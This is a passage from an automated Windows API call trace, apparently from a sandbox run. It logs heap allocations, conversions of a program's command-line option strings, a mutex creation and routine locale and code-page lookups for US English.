dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02960, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd570 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02960, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=10 | out: lpWideCharStr="--version") returned 10 [0188.871] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02950, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0188.871] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff554, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0188.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3bd4d0 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff554, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=13 | out: lpWideCharStr="--gc-starter") returned 13 [0188.871] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e6a54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0188.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0x3bd4d0 [0188.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e6a54, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=21 | out: lpWideCharStr="--message-system-app") returned 21 [0188.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02940, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0188.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0x3bd4d0 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02940, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=14 | out: lpWideCharStr="--add-profile") returned 14 [0188.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0292c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0188.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0x3bd4d0 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0292c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=17 | out: lpWideCharStr="--remove-profile") returned 17 [0188.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0188.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3bd4d0 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0291c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0188.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0188.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0x3bd4d0 [0188.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4834, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=25 | out: lpWideCharStr="--config-restore-default") returned 25 [0188.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd550 | out: hHeap=0x3b0000) returned 1 [0188.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be138 | out: hHeap=0x3b0000) returned 1 [0188.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd468 | out: hHeap=0x3b0000) returned 1 [0188.883] GetLastError () returned 0x0 [0188.883] SetLastError (dwErrCode=0x0) [0188.883] GetLastError () returned 0x0 [0188.883] SetLastError (dwErrCode=0x0) [0188.883] GetLastError () returned 0x0 [0188.883] SetLastError (dwErrCode=0x0) [0188.883] GetLastError () returned 0x0 [0188.883] SetLastError (dwErrCode=0x0) [0188.883] GetLastError () returned 0x0 [0188.883] SetLastError (dwErrCode=0x0) [0188.883] GetLastError () returned 0x0 [0188.883] SetLastError (dwErrCode=0x0) [0188.883] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\ad_trace_mtx") returned 0xd8 [0188.884] GetLastError () returned 0x0 [0188.884] SetLastError (dwErrCode=0x0) [0188.884] GetLastError () returned 0x0 [0188.884] SetLastError (dwErrCode=0x0) [0188.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xd8) returned 0x3be138 [0188.884] GetLastError () returned 0x0 [0188.884] SetLastError (dwErrCode=0x0) [0188.884] GetLastError () returned 0x0 [0188.884] SetLastError (dwErrCode=0x0) [0188.884] GetUserDefaultLCID () returned 0x409 [0188.886] GetLocaleInfoW (in: Locale=0x409, LCType=0x20001004, lpLCData=0x326168, cchData=2 | out: lpLCData="Ӥ") returned 2 [0188.886] IsValidCodePage (CodePage=0x4e4) returned 1 [0188.886] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0188.887] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x3261c0, cchData=64 | out: lpLCData="English") returned 8 [0188.888] GetLocaleInfoA (in: Locale=0x409, LCType=0x1002, lpLCData=0x326200, cchData=64 | out: lpLCData="United States") returned 14 [0188.888] GetLastError () returned 0x0 [0188.888] SetLastError (dwErrCode=0x0) [0188.888] GetLastError () returned 0x0 [0188.888] SetLastError (dwErrCode=0x0) [0188.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1f) returned 0x3bd468 [0188.888] GetLastError () returned 0x0 [0188.888] SetLastError (dwErrCode=0x0) [0188.888] GetLastError () returned 0x0 [0188.888] SetLastError (dwErrCode=0x0) [0188.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1f) returned 0x3bd490 [0188.888] GetLastError () returned 0x0 [0188.889] SetLastError (dwErrCode=0x0) [0188.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x15d1418, cbMultiByte=127, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0188.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x15d1418, cbMultiByte=127, lpWideCharStr=0x325f28, cchWideChar=127 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7fŔ⥸;;;") returned 127 [0188.889] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7fŔ⥸;;;", cchSrc=127, lpCharType=0x3260e0 | out: lpCharType=0x3260e0) returned 1 [0188.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bd4b8 [0188.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x300) returned 0x3be218 [0188.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x180) returned 0x3be520 [0188.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x180) returned 0x3be6a8 [0188.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x101) returned 0x3be830 [0188.889] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x326074 | out: lpCPInfo=0x326074) returned 1 [0188.889] GetLastError () returned 0x0 [0188.889] SetLastError (dwErrCode=0x0) [0188.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3be830, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0188.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3be830, cbMultiByte=256, lpWideCharStr=0x325db8, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0188.889] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x3be318 | out: lpCharType=0x3be318) returned 1 [0188.889] GetLastError () returned 0x0 [0188.889] SetLastError (dwErrCode=0x0) [0188.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3be831, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0188.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3be831, cbMultiByte=255, lpWideCharStr=0x325da8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0188.889] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 255 [0188.889] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x325b98, cchDest=255 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0188.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchWideChar=255, lpMultiByteStr=0x3be5a1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿC\nø>þ ", lpUsedDefaultChar=0x0) returned 255 [0188.889] GetLastError () returned 0x0 [0188.890] SetLastError (dwErrCode=0x0) [0188.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3be831, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0188.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3be831, cbMultiByte=255, lpWideCharStr=0x325da8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0188.890] LCMapStringW (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 255 [0188.890] LCMapStringW (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x325b98, cchDest=255 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ") returned 255 [0188.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ", cchWideChar=255, lpMultiByteStr=0x3be729, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fP\nø-þ ", lpUsedDefaultChar=0x0) returned 255 [0188.890] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be830 | out: hHeap=0x3b0000) returned 1 [0188.890] GetLastError () returned 0x0 [0188.890] SetLastError (dwErrCode=0x0) [0188.890] GetLastError () returned 0x0 [0188.890] SetLastError (dwErrCode=0x0) [0188.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1f) returned 0x3bd4c8 [0188.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x50) returned 0x3be830 [0188.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bd4f0 [0188.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bd500 [0188.891] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.891] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x325f48, cchData=4 | out: lpLCData="USD") returned 4 [0188.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="USD", cchWideChar=-1, lpMultiByteStr=0x325fd0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USD", lpUsedDefaultChar=0x0) returned 4 [0188.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3bd510 [0188.891] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.891] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x325f38, cchData=2 | out: lpLCData="$") returned 2 [0188.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=-1, lpMultiByteStr=0x325fbc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$", lpUsedDefaultChar=0x0) returned 2 [0188.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be8a0 [0188.891] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.891] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x325f28, cchData=2 | out: lpLCData=".") returned 2 [0188.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x325fa8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0188.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be8b0 [0188.892] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.945] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x325f18, cchData=2 | out: lpLCData=",") returned 2 [0188.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x325f94, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0188.945] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be8c0 [0188.945] GetLocaleInfoW (in: Locale=0x409, LCType=0x18, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.945] GetLocaleInfoW (in: Locale=0x409, LCType=0x18, lpLCData=0x325f48, cchData=4 | out: lpLCData="3;0") returned 4 [0188.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x325fd0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0188.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3be8d0 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x325f38, cchData=1 | out: lpLCData="") returned 1 [0188.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x325fbc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0188.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1) returned 0x3be8e0 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x325f28, cchData=2 | out: lpLCData="-") returned 2 [0188.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=-1, lpMultiByteStr=0x325fa8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-", lpUsedDefaultChar=0x0) returned 2 [0188.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2) returned 0x3be8f0 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x2000001a, lpLCData=0x325f90, cchData=2 | out: lpLCData="\x02") returned 2 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000019, lpLCData=0x325fcc, cchData=2 | out: lpLCData="\x02") returned 2 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000054, lpLCData=0x325fb8, cchData=2 | out: lpLCData="\x01") returned 2 [0188.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000055, lpLCData=0x325fa4, cchData=2 | out: lpLCData="") returned 2 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000056, lpLCData=0x325f90, cchData=2 | out: lpLCData="\x01") returned 2 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000057, lpLCData=0x325fcc, cchData=2 | out: lpLCData="") returned 2 [0188.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000052, lpLCData=0x325fb8, cchData=2 | out: lpLCData="\x03") returned 2 [0188.947] 